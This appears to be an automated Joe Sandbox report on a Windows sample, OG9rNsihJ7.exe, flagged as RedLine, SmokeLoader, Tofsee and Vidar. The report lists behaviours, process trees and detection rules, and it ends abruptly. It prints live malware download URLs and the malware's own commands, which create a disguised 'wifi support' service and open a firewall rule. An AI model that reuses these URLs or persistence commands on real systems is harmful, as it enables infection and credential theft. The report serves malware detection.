Play interactive tour

Edit tour

Windows Analysis Report OG9rNsihJ7.exe

Overview

General Information

Sample Name:	OG9rNsihJ7.exe
Analysis ID:	553412
MD5:	5c7b46771055043f59e0451a342b7ed1
SHA1:	5362af084622dc8efc661c703d4c7c5dd6839be1
SHA256:	0245c82558329cfd8ef5ef901e4929075d4d873ba20d9704731758580caed7be
Tags:	exeRedLineStealer
Infos:
Most interesting Screenshot:

Detection

RedLine SmokeLoader Tofsee Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected RedLine Stealer

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Detected unpacking (overwrites its own PE header)

Yara detected SmokeLoader

System process connects to network (likely due to code injection or exploit)

Detected unpacking (changes PE section rights)

Antivirus detection for URL or domain

Antivirus detection for dropped file

Sigma detected: Suspect Svchost Activity

Multi AV Scanner detection for submitted file

Benign windows process drops PE files

Yara detected Vidar stealer

Multi AV Scanner detection for dropped file

Yara detected Tofsee

Sigma detected: Copying Sensitive Files with Credential Data

Maps a DLL or memory area into another process

Found evasive API chain (may stop execution after checking mutex)

Uses netsh to modify the Windows network and firewall settings

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Uses the Telegram API (likely for C&C communication)

Machine Learning detection for sample

Allocates memory in foreign processes

Performs DNS queries to domains with low reputation

.NET source code contains potential unpacker

Injects a PE file into a foreign processes

Sigma detected: Suspicious Svchost Process

Found evasive API chain (may stop execution after checking locale)

Contains functionality to inject code into remote processes

Deletes itself after installation

Creates a thread in another existing process (thread injection)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Drops executables to the windows directory (C:\Windows) and starts them

Checks if the current machine is a virtual machine (disk enumeration)

Writes to foreign memory regions

.NET source code references suspicious native API functions

Changes security center settings (notifications, updates, antivirus, firewall)

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

.NET source code contains method to dynamically call methods (often used by packers)

PE file has nameless sections

Machine Learning detection for dropped file

Modifies the windows firewall

Contains functionality to detect sleep reduction / modifications

Found evasive API chain (may stop execution after checking computer name)

Antivirus or Machine Learning detection for unpacked file

One or more processes crash

Contains functionality to query locales information (e.g. system language)

May sleep (evasive loops) to hinder dynamic analysis

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Contains functionality to launch a process as a different user

Sample execution stops while process was sleeping (likely an evasion)

Found evasive API chain (may stop execution after checking a module file name)

Contains functionality to dynamically determine API calls

HTTP GET or POST without a user agent

Downloads executable code via HTTP

Uses insecure TLS / SSL version for HTTPS connection

Contains long sleeps (>= 3 min)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Drops files with a non-matching file extension (content does not match file extension)

Modifies existing windows services

PE file contains strange resources

Drops PE files

Tries to load missing DLLs

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Drops PE files to the windows directory (C:\Windows)

Checks if the current process is being debugged

Binary contains a suspicious time stamp

Sigma detected: Netsh Port or Application Allowed

Found large amount of non-executed APIs

May check if the current machine is a sandbox (GetTickCount - Sleep)

Creates a process in suspended mode (likely to inject code)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Creates files inside the system directory

PE file contains sections with non-standard names

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Found potential string decryption / allocating functions

Yara detected Credential Stealer

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to call native functions

Contains functionality to communicate with device drivers

Found dropped PE file which has not been started or loaded

Contains functionality which may be used to detect a debugger (GetProcessHeap)

PE file contains executable resources (Code or Archives)

Entry point lies outside standard sections

Enables debug privileges

Creates a DirectInput object (often for capturing keystrokes)

AV process strings found (often used to terminate AV products)

PE file contains an invalid checksum

Extensive use of GetProcAddress (often used to hide API calls)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Detected TCP or UDP traffic on non-standard ports

Uses SMTP (mail sending)

Social media urls found in memory data

Found evaded block containing many API calls

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries disk information (often used to detect virtual machines)

Uses Microsoft's Enhanced Cryptographic Provider

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

System is w10x64

OG9rNsihJ7.exe (PID: 4948 cmdline: "C:\Users\user\Desktop\OG9rNsihJ7.exe" MD5: 5C7B46771055043F59E0451A342B7ED1)

OG9rNsihJ7.exe (PID: 5424 cmdline: "C:\Users\user\Desktop\OG9rNsihJ7.exe" MD5: 5C7B46771055043F59E0451A342B7ED1)

explorer.exe (PID: 3472 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)

B1B2.exe (PID: 6924 cmdline: C:\Users\user\AppData\Local\Temp\B1B2.exe MD5: 277680BD3182EB0940BC356FF4712BEF)

WerFault.exe (PID: 7156 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6924 -s 520 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

BFBD.exe (PID: 6984 cmdline: C:\Users\user\AppData\Local\Temp\BFBD.exe MD5: 5C7B46771055043F59E0451A342B7ED1)

BFBD.exe (PID: 7140 cmdline: C:\Users\user\AppData\Local\Temp\BFBD.exe MD5: 5C7B46771055043F59E0451A342B7ED1)

svchost.exe (PID: 7140 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

254E.exe (PID: 1268 cmdline: C:\Users\user\AppData\Local\Temp\254E.exe MD5: 41AB3EFA04441E560A279BD0F7C0503D)

3136.exe (PID: 5060 cmdline: C:\Users\user\AppData\Local\Temp\3136.exe MD5: 023802260A0216012A5F00079406D967)

cmd.exe (PID: 5992 cmdline: "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ffiawxs\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 6028 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 1928 cmdline: "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\xqfkdfcl.exe" C:\Windows\SysWOW64\ffiawxs\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 2272 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

sc.exe (PID: 3532 cmdline: C:\Windows\System32\sc.exe" create ffiawxs binPath= "C:\Windows\SysWOW64\ffiawxs\xqfkdfcl.exe /d\"C:\Users\user\AppData\Local\Temp\3136.exe\"" type= own start= auto DisplayName= "wifi support MD5: 24A3E2603E63BCB9695A2935D3B24695)

conhost.exe (PID: 5328 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

sc.exe (PID: 5500 cmdline: C:\Windows\System32\sc.exe" description ffiawxs "wifi internet conection MD5: 24A3E2603E63BCB9695A2935D3B24695)

conhost.exe (PID: 5580 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

sc.exe (PID: 7068 cmdline: "C:\Windows\System32\sc.exe" start ffiawxs MD5: 24A3E2603E63BCB9695A2935D3B24695)

conhost.exe (PID: 6896 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

netsh.exe (PID: 3720 cmdline: "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul MD5: A0AA3322BB46BBFC36AB9DC1DBBBB807)

conhost.exe (PID: 4560 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

3BC6.exe (PID: 6244 cmdline: C:\Users\user\AppData\Local\Temp\3BC6.exe MD5: D7DF01D8158BFADDC8BA48390E52F355)

3BC6.exe (PID: 7064 cmdline: C:\Users\user\AppData\Local\Temp\3BC6.exe MD5: D7DF01D8158BFADDC8BA48390E52F355)

svchost.exe (PID: 3756 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 4840 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 6092 cmdline: c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 2600 cmdline: c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 4568 cmdline: C:\Windows\System32\svchost.exe -k NetworkService -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

SgrmBroker.exe (PID: 2076 cmdline: C:\Windows\system32\SgrmBroker.exe MD5: D3170A3F3A9626597EEE1888686E3EA6)

svchost.exe (PID: 1188 cmdline: c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 6656 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

vfgiwcs (PID: 6824 cmdline: C:\Users\user\AppData\Roaming\vfgiwcs MD5: 5C7B46771055043F59E0451A342B7ED1)

vfgiwcs (PID: 6840 cmdline: C:\Users\user\AppData\Roaming\vfgiwcs MD5: 5C7B46771055043F59E0451A342B7ED1)

svchost.exe (PID: 6976 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: 32569E403279B3FD2EDB7EBD036273FA)

WerFault.exe (PID: 7020 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 6924 -ip 6924 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

svchost.exe (PID: 7148 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

xqfkdfcl.exe (PID: 5432 cmdline: C:\Windows\SysWOW64\ffiawxs\xqfkdfcl.exe /d"C:\Users\user\AppData\Local\Temp\3136.exe" MD5: 5C50CF4AF77D12BF94B3FC09437C8B16)

svchost.exe (PID: 3440 cmdline: svchost.exe MD5: FA6C268A5B5BDA067A901764D203D433)

cleanup

Malware Configuration

No configs have been found

Yara Overview

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\8017.exe	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x3b87:$x1: https://cdn.discordapp.com/attachments/

Memory Dumps

Source	Rule	Description	Author
0000002D.00000000.408848131.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
00000018.00000002.366966979.00000000004B0000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000001C.00000002.357825450.000000000083A000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001C.00000002.357825450.000000000083A000.00000004.00000001.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000005.00000000.279897390.0000000003031000.00000020.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000002A.00000003.388526176.00000000007F0000.00000004.00000001.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
0000002D.00000000.407524125.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000013.00000002.349879535.00000000004A0000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000001C.00000002.357794608.000000000081A000.00000004.00000020.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000001E.00000002.412827478.0000000003991000.00000004.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000002C.00000002.524985253.00000000007B0000.00000040.00000001.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
0000001D.00000003.362218485.00000000007F0000.00000004.00000001.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
0000002D.00000000.408441992.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000001.00000002.298084613.0000000000680000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000002A.00000002.391463142.0000000000400000.00000040.00020000.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
00000013.00000002.349992094.0000000001F51000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000002A.00000002.391805380.0000000000680000.00000040.00000001.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
00000018.00000002.366989519.00000000004D1000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000001.00000002.298215878.0000000001FA1000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000001D.00000002.380671348.00000000006C0000.00000040.00000001.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
0000002D.00000002.429951321.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000002A.00000002.391938773.0000000000840000.00000004.00000001.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
0000002D.00000000.408078077.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: 3136.exe PID: 5060	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
Process Memory Space: xqfkdfcl.exe PID: 5432	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
Process Memory Space: svchost.exe PID: 3440	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
Click to see the 22 entries

Unpacked PEs

Source	Rule	Description	Author
19.1.vfgiwcs.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
30.2.3BC6.exe.3aaf910.1.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
1.1.OG9rNsihJ7.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
42.2.xqfkdfcl.exe.840000.2.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
19.2.vfgiwcs.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
42.2.xqfkdfcl.exe.400000.0.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
44.2.svchost.exe.7b0000.0.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
0.2.OG9rNsihJ7.exe.5f15a0.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
29.2.3136.exe.6c0e50.1.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
1.2.OG9rNsihJ7.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
29.3.3136.exe.7f0000.0.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
45.0.3BC6.exe.400000.8.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
22.2.BFBD.exe.6c15a0.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
24.1.BFBD.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
42.2.xqfkdfcl.exe.400000.0.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
42.2.xqfkdfcl.exe.680e50.1.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
18.2.vfgiwcs.6415a0.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
45.0.3BC6.exe.400000.7.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
24.2.BFBD.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
42.3.xqfkdfcl.exe.7f0000.0.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
44.2.svchost.exe.7b0000.0.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
45.0.3BC6.exe.400000.4.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
42.2.xqfkdfcl.exe.840000.2.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
29.2.3136.exe.400000.0.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
30.2.3BC6.exe.3aaf910.1.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
45.0.3BC6.exe.400000.5.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
29.2.3136.exe.400000.0.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
45.2.3BC6.exe.400000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
45.0.3BC6.exe.400000.6.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Click to see the 24 entries

Sigma Overview

System Summary:

Sigma detected: Suspect Svchost Activity

Show sources

Source: Process started

Author: David Burkett: Data: Command: svchost.exe, CommandLine: svchost.exe, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: C:\Windows\SysWOW64\ffiawxs\xqfkdfcl.exe /d"C:\Users\user\AppData\Local\Temp\3136.exe", ParentImage: C:\Windows\SysWOW64\ffiawxs\xqfkdfcl.exe, ParentProcessId: 5432, ProcessCommandLine: svchost.exe, ProcessId: 3440

Sigma detected: Copying Sensitive Files with Credential Data

Show sources

Source: Process started

Author: Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\xqfkdfcl.exe" C:\Windows\SysWOW64\ffiawxs\, CommandLine: "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\xqfkdfcl.exe" C:\Windows\SysWOW64\ffiawxs\, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\3136.exe, ParentImage: C:\Users\user\AppData\Local\Temp\3136.exe, ParentProcessId: 5060, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\xqfkdfcl.exe" C:\Windows\SysWOW64\ffiawxs\, ProcessId: 1928

Sigma detected: Suspicious Svchost Process

Show sources

Source: Process started

Author: Florian Roth: Data: Command: svchost.exe, CommandLine: svchost.exe, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: C:\Windows\SysWOW64\ffiawxs\xqfkdfcl.exe /d"C:\Users\user\AppData\Local\Temp\3136.exe", ParentImage: C:\Windows\SysWOW64\ffiawxs\xqfkdfcl.exe, ParentProcessId: 5432, ProcessCommandLine: svchost.exe, ProcessId: 3440

Sigma detected: Netsh Port or Application Allowed

Show sources

Source: Process started

Author: Markus Neis, Sander Wiebing: Data: Command: "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul, CommandLine: "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul, CommandLine|base64offset|contains: ijY, Image: C:\Windows\SysWOW64\netsh.exe, NewProcessName: C:\Windows\SysWOW64\netsh.exe, OriginalFileName: C:\Windows\SysWOW64\netsh.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\3136.exe, ParentImage: C:\Users\user\AppData\Local\Temp\3136.exe, ParentProcessId: 5060, ProcessCommandLine: "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul, ProcessId: 3720

Sigma detected: New Service Creation

Show sources

Source: Process started

Author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: C:\Windows\System32\sc.exe" create ffiawxs binPath= "C:\Windows\SysWOW64\ffiawxs\xqfkdfcl.exe /d\"C:\Users\user\AppData\Local\Temp\3136.exe\"" type= own start= auto DisplayName= "wifi support, CommandLine: C:\Windows\System32\sc.exe" create ffiawxs binPath= "C:\Windows\SysWOW64\ffiawxs\xqfkdfcl.exe /d\"C:\Users\user\AppData\Local\Temp\3136.exe\"" type= own start= auto DisplayName= "wifi support, CommandLine|base64offset|contains: r, Image: C:\Windows\SysWOW64\sc.exe, NewProcessName: C:\Windows\SysWOW64\sc.exe, OriginalFileName: C:\Windows\SysWOW64\sc.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\3136.exe, ParentImage: C:\Users\user\AppData\Local\Temp\3136.exe, ParentProcessId: 5060, ProcessCommandLine: C:\Windows\System32\sc.exe" create ffiawxs binPath= "C:\Windows\SysWOW64\ffiawxs\xqfkdfcl.exe /d\"C:\Users\user\AppData\Local\Temp\3136.exe\"" type= own start= auto DisplayName= "wifi support, ProcessId: 3532

Sigma detected: Windows Processes Suspicious Parent Directory

Show sources

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\BFBD.exe, ParentImage: C:\Users\user\AppData\Local\Temp\BFBD.exe, ParentProcessId: 6984, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p, ProcessId: 7140

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Antivirus detection for URL or domain

Show sources

Source: http://81.163.30.181/l2.exe	Avira URL Cloud: Label: malware
Source: http://185.7.214.171:8080/6.php	URL Reputation: Label: malware
Source: http://data-host-coin-8.com/files/6961_1642089187_2359.exe	Avira URL Cloud: Label: malware
Source: http://unicupload.top/install5.exe	URL Reputation: Label: phishing
Source: http://privacy-tools-for-you-780.com/downloads/toolspab3.exe	Avira URL Cloud: Label: malware
Source: http://data-host-coin-8.com/files/7729_1642101604_1835.exe	Avira URL Cloud: Label: malware
Source: http://data-host-coin-8.com/files/9030_1641816409_7037.exe	Avira URL Cloud: Label: malware
Source: http://81.163.30.181/l3.exe	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\3BC6.exe	Avira: detection malicious, Label: HEUR/AGEN.1211353
Source: C:\Users\user\AppData\Local\Temp\xqfkdfcl.exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Temp\2473.exe	Avira: detection malicious, Label: HEUR/AGEN.1212012
Source: C:\Users\user\AppData\Local\Temp\6AF7.exe	Avira: detection malicious, Label: HEUR/AGEN.1212012

Multi AV Scanner detection for submitted file

Show sources

Source: OG9rNsihJ7.exe

ReversingLabs: Detection: 48%

Multi AV Scanner detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\3BC6.exe	Metadefender: Detection: 45%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\3BC6.exe	ReversingLabs: Detection: 89%
Source: C:\Users\user\AppData\Local\Temp\45AA.exe	Metadefender: Detection: 34%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\45AA.exe	ReversingLabs: Detection: 76%
Source: C:\Users\user\AppData\Local\Temp\54AF.exe	ReversingLabs: Detection: 50%
Source: C:\Users\user\AppData\Local\Temp\8017.exe	ReversingLabs: Detection: 34%

Machine Learning detection for sample

Show sources

Source: OG9rNsihJ7.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\3BC6.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\FC2A.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\vfgiwcs	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\9789.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\254E.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\45AA.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\B1B2.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\8017.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\2F32.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\54AF.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\xqfkdfcl.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\BFBD.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\3136.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\88E2.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\7808.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\3A7E.exe	Joe Sandbox ML: detected

Source: 28.3.254E.exe.7f0000.0.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 42.2.xqfkdfcl.exe.400000.0.unpack	Avira: Label: BDS/Backdoor.Gen
Source: 29.2.3136.exe.6c0e50.1.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 29.3.3136.exe.7f0000.0.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 42.3.xqfkdfcl.exe.7f0000.0.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 44.2.svchost.exe.7b0000.0.unpack	Avira: Label: BDS/Backdoor.Gen
Source: 28.2.254E.exe.6c0e50.1.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 29.2.3136.exe.400000.0.unpack	Avira: Label: BDS/Backdoor.Gen
Source: 42.2.xqfkdfcl.exe.840000.2.unpack	Avira: Label: BDS/Backdoor.Gen
Source: 42.2.xqfkdfcl.exe.680e50.1.unpack	Avira: Label: TR/Patched.Ren.Gen

Source: C:\Users\user\AppData\Local\Temp\254E.exe	Code function: 28_2_00407470 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	28_2_00407470
Source: C:\Users\user\AppData\Local\Temp\254E.exe	Code function: 28_2_00404830 memset,CryptStringToBinaryA,CryptStringToBinaryA,	28_2_00404830
Source: C:\Users\user\AppData\Local\Temp\254E.exe	Code function: 28_2_00407510 CryptUnprotectData,LocalAlloc,LocalFree,	28_2_00407510
Source: C:\Users\user\AppData\Local\Temp\254E.exe	Code function: 28_2_00407190 CryptUnprotectData,	28_2_00407190
Source: C:\Users\user\AppData\Local\Temp\254E.exe	Code function: 28_2_004077A0 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	28_2_004077A0
Source: C:\Users\user\AppData\Local\Temp\254E.exe	Code function: 28_2_006C76C0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	28_2_006C76C0
Source: C:\Users\user\AppData\Local\Temp\254E.exe	Code function: 28_2_006C4A80 CryptStringToBinaryA,CryptStringToBinaryA,	28_2_006C4A80
Source: C:\Users\user\AppData\Local\Temp\254E.exe	Code function: 28_2_006C7760 CryptUnprotectData,LocalAlloc,LocalFree,	28_2_006C7760
Source: C:\Users\user\AppData\Local\Temp\254E.exe	Code function: 28_2_006C73E0 CryptUnprotectData,	28_2_006C73E0
Source: C:\Users\user\AppData\Local\Temp\254E.exe	Code function: 28_2_006C79F0 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	28_2_006C79F0

Compliance:

Detected unpacking (overwrites its own PE header)

Show sources

Source: C:\Users\user\AppData\Local\Temp\254E.exe	Unpacked PE file: 28.2.254E.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\3136.exe	Unpacked PE file: 29.2.3136.exe.400000.0.unpack
Source: C:\Windows\SysWOW64\ffiawxs\xqfkdfcl.exe	Unpacked PE file: 42.2.xqfkdfcl.exe.400000.0.unpack

Source: unknown	HTTPS traffic detected: 162.159.133.233:443 -> 192.168.2.5:49949 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.5:49950 version: TLS 1.0

Source: OG9rNsihJ7.exe

